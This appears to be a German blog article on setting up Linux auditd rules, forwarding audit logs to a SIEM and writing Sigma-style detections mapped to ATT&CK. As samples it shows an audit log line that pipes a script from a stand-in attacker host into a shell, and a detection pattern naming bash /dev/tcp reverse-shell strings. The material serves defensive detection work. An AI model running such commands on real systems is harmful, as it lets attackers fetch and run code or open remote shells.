Log-Management21. August 2026 · 7 Min. Lesezeit

Linux-Logging mit Auditd: Welche Regeln du sofort aktivieren solltest

Einleitung

Wenn auf einem Windows-Host Sysmon installiert ist, hat man eine erstaunlich vollständige Telemetrie-Quelle. Das Linux-Pendant – auch wenn es weniger sexy klingt – ist Auditd, das eingebaute Audit-Subsystem des Linux-Kernels. Korrekt konfiguriert, liefert es alles, was du für Detection brauchst: Process Execution, File Access, Network-Calls, Auth-Events. Falsch konfiguriert, ist es entweder unbrauchbar (zu wenig Regeln) oder eine Performance-Bremse (zu generisch). Dieser Artikel zeigt dir die ersten Auditd-Regeln, die du sofort aktivieren solltest.

Warum das Thema wichtig ist

In typischen Angriffen auf Linux-Server (Webshell-Drop, SSH-Bruteforce + Credential-Wiederverwendung, Cryptominer, Container-Escape) hinterlassen Angreifer auf Kernel-Ebene Spuren. Standard syslog zeigt davon wenig. Wer Auditd nicht nutzt, fliegt in der Linux-Detection blind. Mit den richtigen Regeln bekommst du einen Detection-Stack, der ohne EDR-Lizenz funktioniert – und gleichzeitig viele Compliance-Anforderungen (PCI, BSI IT-Grundschutz APP, NIS2) abdeckt, die explizit Audit-Logging fordern.

Auditd in 60 Sekunden

Auditd besteht aus drei Komponenten:

Installation auf Debian/Ubuntu:

sudo apt install auditd audispd-plugins
sudo systemctl enable --now auditd

Auf RHEL/Rocky/Alma ist Auditd standardmäßig installiert.

Regeln werden in /etc/audit/rules.d/*.rules abgelegt und mit augenrules --load aktiviert.

Die drei Regelarten

# Watch (Datei/Pfad-Watch)
-w /etc/passwd -p wa -k passwd_changes

# Syscall-Filter
-a always,exit -F arch=b64 -S execve -k execution

# Control-Befehle
-D                   # alle bestehenden Regeln löschen
-b 8192              # Buffer-Größe (Events vor Drops)
-f 1                 # Failure-Mode (1 = print to printk)

Die Starter-Regelmenge: 10 Regeln, die wirklich helfen

Die folgende Regelmenge basiert auf dem Linux Auditd Best Practices Guide der NSA und auf MITRE-ATT&CK-Mapping. Direkt einsetzbar in /etc/audit/rules.d/security.rules.

# === Allgemeine Konfiguration ===
-D
-b 8192
-f 1

# === 1. Authentifizierungs-Events ===
# Lese-/Schreibzugriffe auf passwd, shadow, group, sudoers
-w /etc/passwd -p wa -k identity
-w /etc/shadow -p wa -k identity
-w /etc/group -p wa -k identity
-w /etc/gshadow -p wa -k identity
-w /etc/sudoers -p wa -k identity
-w /etc/sudoers.d/ -p wa -k identity

# === 2. SSH-Konfiguration und -Keys ===
-w /etc/ssh/sshd_config -p wa -k sshd_config
-w /root/.ssh/ -p wa -k ssh_keys
-w /home/ -p wa -F dir=/home -k home_changes

# === 3. Privilegierte Befehlsausführung (jeder execve mit UID=0) ===
-a always,exit -F arch=b64 -S execve -F euid=0 -k root_execve
-a always,exit -F arch=b32 -S execve -F euid=0 -k root_execve

# === 4. Privilege Escalation ===
-w /usr/bin/sudo -p x -k privileged_command
-w /usr/bin/su -p x -k privileged_command
-w /usr/bin/passwd -p x -k privileged_command

# === 5. Kernel-Module Manipulation ===
-w /sbin/insmod -p x -k modules
-w /sbin/rmmod -p x -k modules
-w /sbin/modprobe -p x -k modules
-a always,exit -F arch=b64 -S init_module,delete_module -k modules

# === 6. Cron / Scheduled Tasks ===
-w /etc/cron.d/ -p wa -k cron
-w /etc/cron.daily/ -p wa -k cron
-w /etc/cron.hourly/ -p wa -k cron
-w /etc/cron.weekly/ -p wa -k cron
-w /etc/cron.monthly/ -p wa -k cron
-w /etc/crontab -p wa -k cron
-w /var/spool/cron/ -p wa -k cron

# === 7. systemd unit changes (Persistence) ===
-w /etc/systemd/ -p wa -k systemd
-w /lib/systemd/ -p wa -k systemd
-w /usr/lib/systemd/ -p wa -k systemd

# === 8. Webserver document roots (Webshell-Detection) ===
-w /var/www/ -p wa -k webroot
# Apache/nginx-Konfig
-w /etc/apache2/ -p wa -k webserver_config
-w /etc/nginx/ -p wa -k webserver_config

# === 9. Network-Konfigurationen ===
-w /etc/hosts -p wa -k network
-w /etc/network/ -p wa -k network
-w /etc/sysconfig/network -p wa -k network
-w /etc/iptables/ -p wa -k network
-w /etc/nftables.conf -p wa -k network

# === 10. Eigenes Audit-System schützen (Tampering-Detection) ===
-w /etc/audit/ -p wa -k auditconfig
-w /etc/libaudit.conf -p wa -k auditconfig
-w /var/log/audit/ -p wa -k auditlogs

# Final: Audit-Regeln einfrieren (nach Reload nicht mehr änderbar)
# -e 2

Hinweis: -e 2 macht die Regelmenge erst nach einem Reboot wieder änderbar – sehr wirksam gegen Angreifer, die auditctl -D versuchen. In KMU-Umgebungen mit häufigen Regel-Iterationen erstmal weglassen, später aktivieren.

Aktivieren:

sudo augenrules --load
sudo auditctl -l    # Liste aktiver Regeln prüfen

Was die Logs konkret zeigen

audit.log ist nicht menschenfreundlich. Beispiel-Eintrag:

type=EXECVE msg=audit(1714654321.123:6789):
  argc=3 a0="bash" a1="-c" a2="curl http://evil.example.com/x.sh | sh"
type=SYSCALL msg=audit(1714654321.123:6789):
  arch=c000003e syscall=59 success=yes exit=0 ppid=1234 pid=2345
  auid=1000 uid=0 gid=0 euid=0 ses=42 comm="bash" exe="/usr/bin/bash"

Mit ausearch und aureport deutlich lesbarer:

# Alle execve-Events mit UID=0 in den letzten 24h
sudo ausearch -k root_execve -ts today -i

# Top-10 ausgeführte Befehle
sudo aureport -x --summary

# Auth-Events
sudo aureport -au

Forwarding ins SIEM

/var/log/audit/audit.log gehört per rsyslog, syslog-ng oder Wazuh-Agent zentral. Beispiel rsyslog mit imfile:

# /etc/rsyslog.d/30-auditd.conf
module(load="imfile")
input(type="imfile"
      File="/var/log/audit/audit.log"
      Tag="auditd"
      Severity="info"
      Facility="local6")
local6.* @@siem.example.com:514

Wazuh-Agent (empfohlen für KMU):

<!-- /var/ossec/etc/ossec.conf auf dem Endpoint -->
<localfile>
  <log_format>audit</log_format>
  <location>/var/log/audit/audit.log</location>
</localfile>

Wazuh parst Auditd nativ und mappt es auf Detection-Rules.

Erste Detections, die sich sofort lohnen

1. Reverse-Shell-Pattern

title: Possible Reverse Shell via Bash
detection:
  selection:
    type: 'EXECVE'
    a0: 'bash'
    args|contains:
      - '-i >& /dev/tcp/'
      - 'bash -c'
      - 'sh -i'
  condition: selection
level: high

2. Persistence via systemd / cron (Watch-Trigger)

title: New systemd unit created
detection:
  selection:
    key: 'systemd'
    type: 'PATH'
    name|contains: '.service'
  condition: selection
level: medium

3. Webshell-Drop in Webroot

title: File written to webroot (potential webshell)
detection:
  selection:
    key: 'webroot'
    syscall: 'open'
    flags|contains: 'O_CREAT|O_WRONLY'
    name|endswith:
      - '.php'
      - '.jsp'
      - '.aspx'
  condition: selection
level: critical

4. Ungewöhnliche Kernel-Module (Rootkit)

title: Kernel module loaded
detection:
  selection:
    key: 'modules'
    syscall:
      - 'init_module'
      - 'finit_module'
  condition: selection
level: high

5. Audit Tampering

title: Audit configuration changed
detection:
  selection:
    key: 'auditconfig'
  condition: selection
level: critical

ATT&CK-Bezug: T1059.004 (Unix Shell), T1543.002 (systemd Service), T1505.003 (Web Shell), T1547.006 (Kernel Modules), T1562.006 (Indicator Blocking).

Performance und Volumen

Auditd kann bei zu generischen Regeln (-S all oder ähnlich) auf busy Servern durchaus 10–20 % CPU kosten. Unsere Starter-Regelmenge oben ist zurückhaltend genug, dass sie auf typischen Web-/App-Servern <1 % spürbar ist.

Tuning-Hebel:

Stolperfallen

Praxis-Checkliste

Fazit

Auditd ist auf Linux das, was Sysmon auf Windows ist – nur dass es schon installiert ist und nur eine ordentliche Regelmenge braucht. Die Starter-Regeln in diesem Artikel decken die wichtigsten ATT&CK-Linux-Techniken ab und produzieren auf typischen Servern <1 % Performance-Last. Weiter aufbauen kannst du danach iterativ: für besondere Server (DBs, Web-Server, DCs) gezielt zusätzliche Watches setzen. Wer Linux-Detection ohne Auditd betreibt, verschenkt 80 % der möglichen Sichtbarkeit.

Wenn du tiefer einsteigen willst: Im Newsletter zeige ich jeden Monat konkrete Auditd-Regeln, Detection-Patterns und Tuning-Tipps. Trag dich ein.

← Zurück zur Übersicht